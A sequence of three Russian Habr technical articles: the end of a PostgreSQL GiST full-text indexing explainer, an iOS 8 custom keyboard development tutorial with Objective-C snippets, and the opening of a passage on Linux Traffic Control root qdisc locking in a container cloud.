Допустим, сигнатуры наших лексем такие:
`бел 1000000
берез 0001000
залома 0000010
заломат 0010000
кудряв 0000100
люл 0100000
нек 0000100
погуля 0000001
пойд 0000010
пол 0000010
стоя 0010000`
Тогда сигнатуры документов получатся следующими:
`Во поле береза стояла 0011010
Во поле кудрявая стояла 0010110
Люли, люли, стояла 0110000
Некому березу заломати 0011100
Некому кудряву заломати 0010100
Люли, люли, заломати 0110000
Я пойду погуляю 0000011
Белую березу заломаю 1001010
Люли, люли, заломаю 0100010`
Дерево индекса можно представить так:
Преимущества такого подхода налицо: индексные записи имеют одинаковый и небольшой размер, индекс получается компактным. Но виден и недостаток: из-за компактности теряется точность.
Рассмотрим то же самое условие `doc_tsv @@ to_tsquery('стояла')`. Вычислим сигнатуру поискового запроса точно так же, как и для документа: в нашем случае 0010000. Функция согласованности должна выдать все дочерние узлы, сигнатура которых содержит *хотя бы один* бит из сигнатуры запроса:
Сравните с картинкой выше: видно, что дерево «пожелтело» — а это значит, что возникают ложные положительные срабатывания (то, что у нас называется ошибками первого рода) и при поиске перебираются лишние узлы. Тут мы зацепили лексему «заломат», сигнатура которой по несчастью совпала с сигнатурой искомой лексемы «стоя». Важно, что ложных отрицательных срабатываний (ошибок второго рода) в такой схеме быть не может, то есть мы гарантированно не пропустим нужное значение.
Кроме того, может так получиться, что и разные документы получат одинаковые сигнатуры: в нашем примере не повезло «люли, люли, стояла» и «люли, люли, заломати» (у обоих сигнатура 0110000). И если в листовой индексной записи не хранить само значение tsvector, то и сам индекс будет давать ложные срабатывания. Разумеется, в таком случае метод доступа попросит индексный механизм перепроверять результат по таблице, так что пользователь этих ложных срабатываний не увидит. Но эффективность поиска вполне может пострадать.
На самом деле сигнатура в текущей реализации занимает 124 байта вместо семи бит на наших картинках, так что вероятность коллизий существенно меньше, чем в примере. Но ведь и документов на практике индексируется гораздо больше. Чтобы как-то снизить число ложных срабатываний индексного метода, реализация идет на хитрость: индексированный tsvector сохраняется в листовой индексной записи, но только если он не занимает много места (чуть меньше 1/16 страницы, что составляет около половины килобайта для страниц 8 КБ).
### Пример
Чтобы посмотреть, как индексирование работает на реальных данных, возьмем архив рассылки pgsql-hackers. В [использованной в примере версии](https://oc.postgrespro.ru/index.php/s/fRxTZ0sVfPZzbmd) содержится 356125 писем с датой отправления, темой, автором и текстом:
`fts=# select * from mail_messages order by sent limit 1;
-[ RECORD 1 ]------------------------------------------------------------------------
id | 1572389
parent_id | 1562808
sent | 1997-06-24 11:31:09
subject | Re: [HACKERS] Array bug is still there....
author | "Thomas G. Lockhart"
body\_plain | Andrew Martin wrote: +
| > Just run the regression tests on 6.1 and as I suspected the array bug +
| > is still there. The regression test passes because the expected output+
| > has been fixed to the \*wrong\* output. +
| +
| OK, I think I understand the current array behavior, which is apparently+
| different than the behavior for v1.0x. +
...`
Добавляем и заполняем столбец типа tsvector и строим индекс. Здесь мы объединим в один вектор три значения (тему, автора и текст письма), чтобы показать, что документ не обязан быть один полем, а может состоять из совершенно произвольных частей.
`fts=# alter table mail_messages add column tsv tsvector;
ALTER TABLE
fts=# update mail_messages
set tsv = to_tsvector(subject||' '||author||' '||body_plain);
NOTICE: word is too long to be indexed
DETAIL: Words longer than 2047 characters are ignored.
...
UPDATE 356125
fts=# create index on mail_messages using gist(tsv);
CREATE INDEX`
Некоторое количество слов, как видно, было отброшено из-за слишком большого размера. Но в итоге индекс построен и готов поддерживать поисковые запросы:
`fts=# explain (analyze, costs off)
select * from mail_messages where tsv @@ to_tsquery('magic & value');
QUERY PLAN
----------------------------------------------------------
Index Scan using mail_messages_tsv_idx on mail_messages
(actual time=0.998..416.335 rows=**898** loops=1)
Index Cond: (tsv @@ to_tsquery('magic & value'::text))
Rows Removed by Index Recheck: **7859**
Planning time: 0.203 ms
Execution time: 416.492 ms
(5 rows)`
Здесь видно, что вместе с 898 подходящими под условие строками, метод доступа вернул еще 7859 строк, которые были отсеяны перепроверкой по таблице. Это наглядно показывает негативное влияние потери точности на эффективность.
### Внутри
Для анализа содержимого индекса снова воспользуемся расширением gevel:
`fts=# select level, a from gist_print('mail_messages_tsv_idx') as t(level int, valid bool, a gtsvector) where a is not null;
level | a
-------+-------------------------------
1 | 992 true bits, 0 false bits
2 | 988 true bits, 4 false bits
3 | 573 true bits, 419 false bits
4 | 65 unique words
4 | 107 unique words
4 | 64 unique words
4 | 42 unique words
...`
Значения специального типа gtsvector, хранящиеся в индексных записях — это собственно сигнатура плюс, возможно, исходный tsvector. Если вектор есть, то выводится количество лексем в нем (unique words), а если нет — то число установленных (true) и сброшенных (false) битов в сигнатуре.
Видно, что в корневом узле сигнатура выродилась до «всех единиц» — то есть один уровень индекса стал полностью бесполезен (и еще один — почти совсем бесполезен с всего четырьмя сброшенными битами).
Свойства
--------
Поглядим на свойства метода доступа gist (запросы [приводились ранее](https://habrahabr.ru/company/postgrespro/blog/326106/)):
`amname | name | pg_indexam_has_property
--------+---------------+-------------------------
gist | can_order | f
gist | can_unique | f
gist | can_multi_col | t
gist | can_exclude | t`
Поддержки сортировки значений и уникальности нет. Индекс, как мы видели, можно строить по нескольким столбцам и использовать в ограничениях исключения.
Свойства индекса:
`name | pg_index_has_property
---------------+-----------------------
clusterable | t
index_scan | t
bitmap_scan | t
backward_scan | f`
И, самое интересное, свойства уровня столбца. Некоторые свойств будет постоянными:
`name | pg_index_column_has_property
--------------------+------------------------------
asc | f
desc | f
nulls_first | f
nulls_last | f
orderable | f
search_array | f
search_nulls | t`
(Нет поддержки сортировки; индекс нельзя использовать для поиска в массиве; неопределенные значения поддерживаются.)
А вот два оставшихся свойства, distance\_orderable и returnable, будут зависеть от используемого класса операторов. Например, для точек увидим:
`name | pg_index_column_has_property
--------------------+------------------------------
distance_orderable | t
returnable | t`
Первое свойство говорит о том, что доступен оператор расстояния для поиска ближайших соседей. А второе — что индекс может использоваться в исключительно индексном сканировании. Несмотря на то, что в листовых индексных записях хранятся не точки, а прямоугольники, метод доступа умеет возвращать то, что нужно.
А вот интервалы:
`name | pg_index_column_has_property
--------------------+------------------------------
distance_orderable | f
returnable | t`
Для них не определена функция расстояния, следовательно поиск ближайших соседей невозможен.
И полнотекстовый поиск:
`name | pg_index_column_has_property
--------------------+------------------------------
distance_orderable | f
returnable | f`
Здесь потерялась и возможность выполнять исключительно индексное сканирование, поскольку в листовых записях может оказаться только сигнатура без собственно данных. Впрочем, это небольшая потеря, поскольку значение типа tsvector все равно никого не интересует: оно используется для отбора строк, а показывать нужно исходный текст, которого в индексе все равно нет.
Другие типы данных
------------------
Напоследок обозначим еще несколько типов, которые в настоящее время поддерживает метод доступа GiST, помимо уже рассмотренных нами геометрических типов (на примере точек), диапазонов и типов полнотекстового поиска.
Из стандартных типов это IP-адреса [inet](https://postgrespro.ru/docs/postgresql/9.6/datatype-net-types), а остальное добавляется расширениями:
* [cube](https://postgrespro.ru/docs/postgresql/9.6/cube) предоставляет тип данных cube для многомерных кубов. Для него, как и для геометрических типов на плоскости, определен класс операторов GiST: R-дерево с возможностью поиска ближайших соседей.
* [seg](https://postgrespro.ru/docs/postgresql/9.6/seg) предоставляет тип данных seg для интервалов с границами, заданными с определенной точностью, и поддержку GiST-индекса для него (R-дерево).
* [intarray](https://postgrespro.ru/docs/postgresql/9.6/intarray) расширяет функциональность целочисленных массивов и добавляет для них GiST-поддержку. Реализованы два класса операторов: gist\_\_int\_ops (RD-дерево с полным представлением ключей в индексных записях) и gist\_\_bigint\_ops (сигнатурное RD-дерево). Первый класс можно использовать для небольших массивов, второй — для более серьезных объемов.
* [ltree](https://postgrespro.ru/docs/postgresql/9.6/ltree) добавляет тип данных ltree для древовидных структур и GiST-поддержку для него (RD-дерево).
* [pg\_trgm](https://postgrespro.ru/docs/postgresql/9.6/pgtrgm) добавляет специальный класс операторов gist\_trgm\_ops для использования триграмм в полнотекстовом поиске. Но об этом — в другой раз вместе с индексом GIN.
[Продолжение](https://habrahabr.ru/company/postgrespro/blog/337502/). | https://habr.com/ru/post/333878/ | null | ru | null |
# Разрабатываем хабраклавиатуру под iOS
Зачастую для чтения хабра я использую мобильное приложение Хабрахабр для iPhone и iPad. Оно достаточно удобное для чтения статей, но не очень удобное для написания комментариев, особенно если хочется написать что-нибудь этакое, с использованием тегов форматирования. Неудобно, потому что все теги необходимо набирать вручную, поэтому очень легко ошибиться и, как результат, оставить некрасивый комментарий.
Так у меня появилась идея написать свою клавиатуру, в которой по нажатию на клавишу добавляется открывающийся и закрывающийся тег в текстовое поле. Курсор при этом должен стать прямо между ними, чтобы сразу же приступить к написанию текста. Также необходимо иметь возможность перемещать курсор с помощью жестов свайпа, субъективно это удобней, чем тянуть палец к полю, ожидать появления лупы, перемещать палец и надеяться, что курсор попадет куда надо. И наконец, пора бы уже разобраться с тегами «Сарказм» и «Зануда», которые не поддерживаются парсером хабра. Клавиатура должна иметь специальные клавиши для этих целей, а оформление тегов должно быть конфигурируемым в настройках клавиатуры, чтобы каждый мог указать тот вид, который ему нравится.
С выходом iOS 8 Apple открывает новый API, который позволяет разрабатывать расширения к приложениям. Клавиатура (Custom Keyboard) является одним из представителей таких расширений. О ней и пойдет речь. В статье вы узнаете о том, какие возможности, ограничения и баги предоставляет новый API, как разработать хабраклавиатуру, и как сделать так, чтобы ваша клавиатура появилась в AppStore, а следовательно и на устройствах ваших пользователей.
#### Возможности и ограничения
Открыв доступ к API для создания сторонних клавиатур, Apple построила узкий мостик между приложениями. С одной стороны каждое приложение по-прежнему находится в своей песочнице, но с другой — введенные данные в одном приложении теперь могут попадать в другое, либо напрямую отправляться на сервер. Такая функциональность является достаточно серьезной с точки зрения безопасности пользовательских данных, поэтому Apple строго определила, что можно делать, а что нельзя. Прежде, чем перейти к детальному описанию, хочу пояснить, что все типы расширений, в том числе и клавиатура, могут быть установлены на мобильное устройство только в составе основного приложения (приложения-контейнера). Например, в последнюю версию приложения Хабрахабр было добавлено расширение в виде виджета в Notification Center.
И так, какие же возможности мы имеем:
* Сторонняя клавиатура может быть использована практически в любом приложении, установленном на устройстве. Для этого пользователю необходимо собственноручно добавить установленную клавиатуру в настройках устройства. К счастью разработчики приложений могут запретить использование сторонних клавиатур в их приложениях, но об этом позже;
* Клавиатура может обмениваться данными как с приложением-контейнером, так и с сервером разработчика. Разрешение такого обмена настраивается пользователем, при чем изначально эта возможность отключена;
* Клавиатура может иметь доступ к сервису геолокации и адресной книги. Для получения доступа небходимо разрешение пользователя как в настройках клавиатуры, так и в настройках соответствующего сервиса;
* Клавиатура может обращаться к встроенному словарю для отображения вариантов автокоррекции и автодополнения введенного текста. Данные берутся из следующих источников:
1. Адресная книга устройства (имена и фамилии предоставляются непарно);
2. Сокращения, указанные пользвателем в настройках смартфона;
3. Общий словарь.
Это, собственно, все основные возможности. Перейдем к ограничениям:
* Нельзя унаследоваться от стандартной клавиатуры. То есть взять за основу встроенную клавиатуру и добавить в нее обработку жестов для управления курсором не получится, придется все делать практически с нуля. Более того, стандартную клавиатуру невозможно воссоздать в принципе. Причины описаны в следующих пунктах;
* Сторонняя клавиатура, как и другие типы расширений, не имеет доступа к микрофону, что делает невозможным поддержку голосового ввода;
* Стороння клавиатура не может быть использована для ввода скрытого текста (`secureTextEntry = YES`). То есть, если поле предназначено для ввода пароля, то пользователь сможет воспользоваться только стандартной клавиатурой;
* Кастомная клавиатура не может быть использована для полей с типом `UIKeyboardTypePhonePad` и `UIKeyboardTypeNamePhonePad`;
* Клавиатура не имеет доступа к выделению текста в поле ввода. То есть поменять выделение без участия пользователя не получится;
* В отличие от стандартной клавиатуры, в сторонней не получится вылезти за пределы фрейма. То есть нельзя отобразить что-либо выше клавиатуры, как, например, при длительном нажатии на клавиши верхнего ряда стандартной клавиатуры;
* Разработчики могут запретить использование сторонних клавиатур в их приложениях. Для этого необходимо переопределить метод `application:shouldAllowExtensionPointIdentifier:` протокола `UIApplicationDelegate`. Для идентификатора с именем `UIApplicationKeyboardExtensionPointIdentifier` необходимо возвращать `NO`. К слову, для iOS 8 это единственный тип расширений, который можно запретить использовать.
Полная документация по разработке кастомных клавиатур: [Custom Keyboard](https://developer.apple.com/library/prerelease/ios/documentation/General/Conceptual/ExtensibilityPG/Keyboard.html)
#### Хабраклавиатура
С теорией разобрались, переходим к практике.
Создаем новый проект, выбираем Application, все стандартно.
Далее необходимо добавить новый Target «Custom Keyboard».
В результате Xcode генерирует класс – наследник от `UIInputViewController` и `Info.plist`.
Класс `UIInputViewController` является контроллером клавиатуры. Все взаимодействие с полем ввода происходит через него. Рассмотрим интерфейс класса более подробно.
Основные методы:
* `- (void)dismissKeyboard` – позволяет скрыть клавиатуру. Это та возможность, которая отсутствует во всех стандартных клавиатурах в iPhone;
* `- (void)advanceToNextInputMode` – выполняет отображение следующей клавиатуры. Список доступных клавиатур определяется пользователем в настройках устройства;
* `- (void)requestSupplementaryLexiconWithCompletion:(void (^)(UILexicon *))completionHandler` – предоствляет массив пар строк. Каждая пара состоит из строки, которую может ввести пользователь `userInput` и строки, которая является автодополнением или автокоррекцией `documentText`. Например, на моем iPhone этот метод возвращает 151 пару.
Для взаимодействия с полем предоставляется свойство `textDocumentProxy`. Приведу описание только наиболее важных для разработки методов:
* `- (void)adjustTextPositionByCharacterOffset:(NSInteger)offset` – позволяет управлять курсором;
* `- (NSString *)documentContextBeforeInput` – возвращает строку до курсора;
* `- (NSString *)documentContextAfterInput` – возвращает строку после курсора;
* `- (void)insertText:(NSString *)text` – вставляет строку после курсора;
* `- (void)deleteBackward` – удаляет один символ перед курсором;
* `- (UIKeyboardAppearance)keyboardAppearance` – позволяет определить, какая тема используется: светлая или темная;
* `- (UIKeyboardType)keyboardType` – позволяет определить, какой тип клавиатуры требует поле ввода.
Помимо выше описанных методов класс `UIInputViewController` реализует протокол `UITextInputDelegate`:
```
@protocol UITextInputDelegate
- (void)selectionWillChange:(id)textInput;
- (void)selectionDidChange:(id)textInput;
- (void)textWillChange:(id)textInput;
- (void)textDidChange:(id)textInput;
@end
```
Вызовы этих методов должны сообщать о выделении и изменении текста в поле ввода, при этом объект `textInput` должен предоставлять информацию о самом поле ввода и тексте, который он содержит.
Но по факту мы имеем следующее поведение:
* Первые два метода никогда не вызываются вне зависимости от того, выделяет пользователь текст или нет;
* Последние два метода вызываются, но объект `textInput` всегда `nil`.
Похоже на баг. На Stackoverflow люди пишут, что столкнулись с такой же проблемой, решения нет. Хочу отметить, что выше описанное поведение воспроизводится на релизной версии iOS8.
Второй точкой соприкосновения для разработчика является файл `Info.plist`. Помимо уже известных полей он содержит группу `NSExtension`:
```
NSExtension
NSExtensionAttributes
IsASCIICapable
PrefersRightToLeft
PrimaryLanguage
ru
RequestsOpenAccess
NSExtensionPointIdentifier
com.apple.keyboard-service
NSExtensionPrincipalClass
VPKeyboardViewController
```
В ней указывается тип разрабатываемого расширения, имя класса-контроллера и атрибуты. Обратите внимание на атрибут `RequestsOpenAccess`. С помощью его система понимает необходим ли вам расширенный доступ: обмен данными с приложением-контейнером или сервером, доступ к геолокации и адресной книге. Если укажете `true`, то будьте готовы объяснять Apple для чего вам это все нужно.
На этом ознакомление с API завершаем и приступаем к непосредственной разработке.
Для начала определим лэйаут. Я планировал реализовать поддержку портретной и альбомной ориентаций для iPhone и со временем доработать для iPad. Лэйаут для портретной и альбомной ориентаций должен был немного отличаться. Для этих целей отлично подходила новоиспеченная технология [Sizes Classes](http://habrahabr.ru/post/235181/). Почему я пишу в прошедшем времени? Да потому что все планы провалились. Дело в том, что в независимости от ориентации система назначает нам одинаковые Size Classes: wCompact и hCompact, что соответствует альбомной ориентации для iPhone. Скорее всего это связано с тем, что фрейм клавиатуры занимает не весь экран, а только нижнюю половину. В принципе это логичное поведение, и, чтобы обойти эту проблему, можно вручную назначить произвольный Size Class для контроллера. Для этого необходимо воспользоваться методом `setOverrideTraitCollection:forChildViewController:`. Но не тут-то было, по факту вызов этого метода ни на что не влияет, то есть `UITraitCollection` дочернего контроллера остается неизменным. Если у кого-либо из вас был положительный опыт использования этого метода, прошу им поделиться. Версию кода с выше описанным поведением я залил в отдельный бранч, если кому-то интересно можете там поковыряться. Пока проблема не решена будем довольствоваться одним лэйаутом для всех ориентаций:
Для удобства управления курсором добавим разпознование жестов Swipe. В xib добавляем два объекта `UISwipeGestureRecognizer`, в коде реализуем обработчики событий:
```
- (IBAction)onLeftSwipeRecognized:(id)sender {
if (self.textDocumentProxy.documentContextBeforeInput.length > 0) {
[self.textDocumentProxy adjustTextPositionByCharacterOffset:-1];
}
}
- (IBAction)onRightSwipeRecognized:(id)sender {
if (self.textDocumentProxy.documentContextAfterInput.length > 0) {
[self.textDocumentProxy adjustTextPositionByCharacterOffset:1];
}
}
```
Далее добавляем обработчики для закрытия клавиатуры и перехода к следующей:
```
- (IBAction)onNextInputModeButtonPressed:(id)sender {
[self advanceToNextInputMode];
}
- (IBAction)onDismissKeyboardButtonPressed:(id)sender {
[self dismissKeyboard];
}
```
Для удаления введенного текста реализуем две возможности:
1. Удаление последнего символа перед курсором, как в стандартной клавиатуре:
```
- (IBAction)onDeleteButtonPressed:(id)sender {
if (self.textDocumentProxy.documentContextBeforeInput.length > 0) {
[self.textDocumentProxy deleteBackward];
}
}
```
2. Удаление всего введенного текста вне зависимости от положения курсора. Чтобы избежать случайного удаления текста будем использовать `UILongTapGestureRecognizer`:
```
- (IBAction)onClearButtonPressed:(id)sender {
NSInteger endPositionOffset = self.textDocumentProxy.documentContextAfterInput.length;
[self.textDocumentProxy adjustTextPositionByCharacterOffset:endPositionOffset];
dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(0.1 * NSEC_PER_SEC)), dispatch_get_main_queue(), ^{
// We can't know when text position adjustment is finished
// Hack: Call this code after delay. In other case these changes won't be applied
while (self.textDocumentProxy.documentContextBeforeInput.length > 0) {
[self.textDocumentProxy deleteBackward];
}
});
}
```
Для достижения цели приходится использовать хак с выполнением кода с задержкой. Дело в том, что API позволяет удалять текст только перед курсором. То есть для того, чтобы удалить весь текст, необходимо сначала переместить курсор в конец строки, но сам процесс перемещения является асинхронным, в то же время я не нашел возможности узнать момент времени, когда этот процесс завершен. Поэтому ставим задержку в 0.1 секунду и считаем, что курсор достиг свой цели.
Остается разобраться с тем, ради чего мы здесь собственно собрались: с вводом тегов форматирования.
Для хранения стандартных тегов, которые поддерживаются хабром, будем использовать JSON файл:
```
{
"Жирный": "",
"Курсив": "",
"Подчеркнутый": "",
"Зачеркнутый": "",
"Цитата": "",
"Код": "",
"Ссылка": "",
"Картинка": "![](\"http://\"/)",
"Видео": "http://",
"Спойлер": "",
"Хабраюзер": ""
}
```
Для тегов «Сарказм» и «Зануда» необходимо создать настройки, чтобы каждый пользователь мог сам установить значения для открывающегося и закрывающегося тегов. Добавляем Settings Bundle:
 | https://habr.com/ru/post/235917/ | null | ru | null |
# Как мы оптимизировали сетевой шейпер Linux в облаке с помощью eBPF
Меня зовут Леонид Талалаев, я занимаюсь разработкой внутреннего облака Одноклассников one-cloud, про которое уже [рассказывали](https://habr.com/ru/company/odnoklassniki/blog/346868/) на Хабре.
Одноклассники – высоконагруженная социальная сеть, и оптимизировать под высокие нагрузки нам нужно не только сервисы, но и инфраструктуру, на которой они работают. Нередко «узким горлышком» становится сама операционная система и, в частности, механизмы распределения ресурсов ядра Linux.
В облаке на одном физическом сервере могут одновременно работать десятки контейнеров, конкурирующих за ресурсы. Чтобы обеспечить надежную и эффективную работу, необходимо управлять распределением ресурсов между контейнерами.
Для управления сетевым трафиком до недавнего времени мы использовали решение на основе дисциплины [Hierarchical Fair Service Queue](https://man7.org/linux/man-pages/man8/tc-hfsc.8.html) из [Linux Traffic Control](https://tldp.org/HOWTO/Traffic-Control-HOWTO/intro.html). Сегодня пойдет речь про проблему масштабирования в Linux Traffic Control, известную как root qdisc locking. И про то, как нам удалось ее решить, переделав управление сетевым трафиком с использованием [eBPF](https://ebpf.io/).
Приоритеты задач в облаке
-------------------------
В облаке one-cloud трафик можно поделить на:
* **prod** трафик: приоритетный трафик задач с низкой задержкой – фронты, базы данных, сервисы, обрабатывающие пользовательские запросы;
* **nonprod** трафик: весь остальной трафик – фоновые расчеты, миграция данных и др.
Гарантии для prod и nonprod трафика разные:
* Пакеты **prod** задач должны отправляться максимально быстро, чтобы минимизировать сетевую задержку. Для них определяется квота – максимальная пропускная способность, которую задаче разрешено утилизировать (исходящий и входящий трафик считаются независимо).
* Для **nonprod** задач важна только средняя пропускная способность сети, поэтому пакеты таких задач могут отправляться с задержкой, после пакетов prod задач.
Среднее потребление prod-задач, как правило, намного ниже их квоты: у нас соотношение составляет в среднем 6%. Поэтому совмещение prod и nonprod задач приводит к значительной экономии ресурсов за счет овераллокации: nonprod задачи могут потреблять всю свободную пропускную способность, не использованную prod задачами.
Контейнеры и классы трафика
---------------------------
Один prod контейнер может генерировать разные виды трафика – трафик, относящийся к обработке пользовательских запросов и трафик, относящийся к различным фоновым процессам. Таким, как перебалансировка данных в [системе хранения блобов](https://www.youtube.com/watch?v=uuGbbJhS7o8), [repair](https://cassandra.apache.org/doc/latest/cassandra/operating/repair.html) и [node bootstrap](https://cassandra.apache.org/doc/latest/cassandra/operating/topo_changes.html) в [apache cassandra](https://cassandra.apache.org/), и другим процессам, которые не занимаются непосредственно обработкой запросов пользователей. Такой фоновый трафик непостоянен и в пике может превышать «обычный», создаваемый пользовательской активностью. Если не разделять эти виды трафика, то фоновые операции могут начать влиять на сетевую задержку обычных запросов. Поэтому, скорость фоновых операций пришлось бы ограничивать и/или резервировать под них дополнительную пропускную способность, ухудшая утилизацию оборудования.
В one-cloud фоновый трафик prod контейнеров может помечаться как nonprod и шейпиться независимо от остального трафика контейнера. Это позволяет нам не включать такой трафик в квоту контейнера. При этом мы можем не ограничивать скорость фоновых операций, позволяя им использовать всю свободную пропускную способность сети. Помимо трафика фоновых операций, мы приоритизируем также CPU и дисковый ввод-вывод с помощью шедулеров [CFS](https://www.kernel.org/doc/html/latest/scheduler/sched-design-CFS.html) и [BFQ](https://www.kernel.org/doc/html/latest/block/bfq-iosched.html) – об этом мы расскажем в следующих статьях.
Итого каждому prod контейнеру соответствует два класса трафика – prod и nonprod. Также есть отдельный nonprod класс для трафика, не относящегося к контейнерам (загрузка образов из реестра, например). Поэтому правильнее было бы говорить не о трафике контейнеров, а о классах трафика.
Но чтобы не усложнять изложение излишними деталями, далее по тексту будем подразумевать, что контейнер = задача = один класс трафика.
Требования к сетевому шейперу
-----------------------------
Мы хотим, чтобы задержка prod задачи как можно меньше зависела от наличия других задач на том же хосте – prod или nonprod.
Для выполнения этих требований нам нужны следующие возможности по управлению трафиком:
* **Приоритизация** – prod получает ресурс сетевой карты до nonprod.
* **Квотирование (rate limit)** – трафик каждой prod задачи можно ограничить сверху. Это означает, что на сервере с 10 Гбит/с свободной полосы можно разместить 10 prod задач с квотой 1 Гбит/с так, чтобы они не мешали друг другу.
* **Разделение полосы (link sharing)** – у каждой nonprod задачи есть вес, который определяет в какой пропорции она получает свободную полосу трафика, не использованную prod задачами.
Дисциплины и фильтры в Linux Traffic Control
--------------------------------------------
Перечисленные выше требования можно удовлетворить с помощью Linux Traffic Control – это часть сетевой подсистемы Linux, которая позволяет настраивать на сетевом интерфейсе различные дисциплины очередей (**q**ueueing **disc**ipline, сокращенно – **qdisc**). Исходящие пакеты сначала попадают в дисциплину, а только потом на сетевой интерфейс. Дисциплина, в зависимости от её алгоритма, может делать с пакетами различные действия: складывать в очереди, приоритизировать, модифицировать, в некоторых случаях – дропать.
[Classfull](https://tldp.org/HOWTO/Traffic-Control-HOWTO/classful-qdiscs.html) дисциплины распределяют пакеты по классам, для каждого из которых настраивается дочерний qdisc со своей логикой. В отличие от простых ([classless](https://tldp.org/HOWTO/Traffic-Control-HOWTO/classless-qdiscs.html)**)** дисциплин, они оперируют классами, а не пакетами. Т.е. их алгоритмы определяют выбор класса, из которого в данный момент отправлять пакеты. Приоритизация пакетов внутри классов определяется дочерними qdisc.
Задавать распределение пакетов по классам в classfull дисциплинах можно с помощью [фильтров](https://tldp.org/HOWTO/Adv-Routing-HOWTO/lartc.qdisc.filters.html). Фильтр содержит условие и значение класса (flowid), который назначается пакетам, удовлетворяющим условию.
Возможности фильтров шире, чем просто классификация пакетов для qdisc. К ним можно привязывать [действия](https://man7.org/linux/man-pages/man8/tc-actions.8.html), которые будут применены к пакетам, попадающим под фильтр. Например, изменить пакет, вызвать BPF программу, перенаправить на другой сетевой интерфейс или дропнуть.
Существуют две специальные псевдо-дисциплины – [ingress](https://tldp.org/HOWTO/Adv-Routing-HOWTO/lartc.adv-qdisc.ingress.html) и [clsact](https://qmonnet.github.io/whirl-offload/2020/04/11/tc-bpf-direct-action/#the-clsact-qdisc). «Псевдо» – потому что они не являются дисциплинами в чистом виде, т.е. не реализуют никакой логики по обработке пакетов. Их можно настраивать на сетевом интерфейсе параллельно с основной дисциплиной. Единственное их назначение – возможность вешать фильтры на входящие (ingress) или исходящие (egress) пакеты. Дисциплина clsact включает в себя ingress и позволяет вешать фильтры на оба направления.
С помощью clsact можно добавлять фильтры для исходящих пакетов в тех случаях, когда основная дисциплина не поддерживает добавление фильтров напрямую (classless и multiqueue дисциплины, про последние речь пойдет чуть позже).
В предыдущем решении для управления трафиком мы использовали дисциплину [hfsc](https://man7.org/linux/man-pages/man7/tc-hfcs.7.html) (Hierarchical Fair Service Curve) с дочерними дисциплинами fq. Подробности настройки этого решения можно найти в этой [статье](https://habr.com/ru/company/odnoklassniki/blog/346868/). Для понимания текущей статьи детали настроек не имеют принципиального значения. Проблема, о которой пойдет речь, актуальна не только для hfsc, но и любой другой дисциплины (про исключения мы тоже поговорим).
Проблема блокировок Linux Traffic Control
-----------------------------------------
За несколько лет производительность используемых нами серверов существенно выросла: с 8-и ядерных с 128-и Гб памяти и сетью 2 Гбит/с до 128-и ядерных с 1 Тб памяти и 20 Гбит/с сетью. Соответственно, выросло число контейнеров и общая нагрузка, которая приходится на отдельный сервер. Все чаще мы стали сталкиваться с парадоксальной ситуацией: после переноса контейнера на более мощный сервер, он иногда начинал работать хуже. При увеличении числа сетевых пакетов примерно свыше 200К/сек начинался заметный рост сетевой задержки prod задач. При нагрузке 600K пакетов/сек – потребление CPU вырастало в 1.5–2 раза, сетевая задержка задач вырастала в 5–6 раз. Чем мощнее сервер, тем чаще проявлялась данная проблема.
Рост сетевой задержки сервиса при сетевой активности соседнего контейнераПри этом, CPU и сеть были загружены на 30–50%, т.е. дело было не в нехватке ресурсов. По `perf top` аномально высокое время процессор проводил в методе `native_queued_spin_lock_slowpath`, а анализ [cpu flamegraph](http://www.brendangregg.com/FlameGraphs/cpuflamegraphs.html) с помощью [async-profiler](https://github.com/jvm-profiling-tools/async-profiler) показал, что корни ведут в сетевой стек:
Оранжевым цветом отмечены фреймы, относящиеся к ядру Linux. Как легко догадаться из названия, метод `native_queued_spin_lock_slowpath` – это ожидание получения блокировки spinlock.
Чтобы разобраться, в какой момент берется блокировка, посмотрим на верхушку flamegraph:
Метод `__dev_queue_xmit` относится к сетевому стеку – через него проходят все пакеты, отправляемые с сетевого интерфейса. По коду [\_\_dev\_queue\_xmit](https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/tree/net/core/dev.c?h=v5.13#n4170) можно понять, что блокировка берется внутри [\_\_dev\_xmit\_skb](https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/tree/net/core/dev.c?h=v5.13#n3874) (который является inline методом, поэтому отсутствует в стеке вызовов):
`spinlock_t *root_lock = qdisc_lock(q);
...
spin_lock(root_lock)
... //обработка пакета
spin_unlock(root_lock)`
В данном коде `q` – это корневая сетевая дисциплина, настроенная для сетевого устройства, а `qdisc_lock(q)` – объект блокировки, связанный с ней.
Проблема масштабирования Linux Traffic Control на больших нагрузках известна как **root qdisc locking**. Например, вот слайд про нее из [доклада](https://people.netfilter.org/hawk/presentations/LCA2015/net_stack_challenges_100G_LCA2015.pdf) Jesper Dangaard Brouer, Principal Kernel Engineer из Red Hat:
На слайде **root\_lock** – это глобальная блокировка корневой qdisc дисциплины, разделяемая всеми процессами. И на каждый пакет эту блокировку нужно взять дважды. Проблема усугубляется тем, что это spinlock – во время ожидания процессорное время тратится впустую. Что в случае prod задач может вести к превышению квоты по cpu и, как следствие, к троттлингу.
Проблема root qdisc lockingЧем мощнее сервер, тем больше контейнеров там можно разместить, тем больше они создадут потоков и тем больше будет конкуренция за root qdisc lock. И рано или поздно наличие блокировки станет узким местом. У нас наиболее заметно проблема стала проявляться на серверах со 128 ядрами и полосой 20 Гбит/с – настолько, что нам пришлось отказаться от их эксплуатации до решения данной проблемы.
Lockless и multiqueue дисциплины
--------------------------------
Из всех [сетевых дисциплин Linux Traffic Control](https://man7.org/linux/man-pages/man8/tc.8.html) не имеют глобальной блокировки следующие (в последней версии ядра, на момент написания статьи – 5.13):
1. noqueue – отсутствие qdisc
2. [lockless qdiscs](https://lwn.net/Articles/698135/), которые используют lock-free алгоритмы вместо блокировки. Единственная такая дисциплина – [pfifo\_fast](https://linux.die.net/man/8/tc-pfifo_fast), которая умеет приоритизировать, но не ограничивать скорость или делать link sharing. Возможно, в будущем появятся lockless реализации других дисциплин. Например, предпринимались попытки сделать [lockless реализацию HTB](https://lwn.net/Articles/825445/).
3. multiqueue qdisc: mq и [mqprio](https://man7.org/linux/man-pages/man8/tc-mqprio.8.html) (mq не надо путать с multiq, у которой есть глобальная блокировка).
Поскольку нам нужно уметь ограничивать скорость контейнеров, варианты 1 и 2 нам не подходят. Остаются только варианты с multiqueue qdisc.
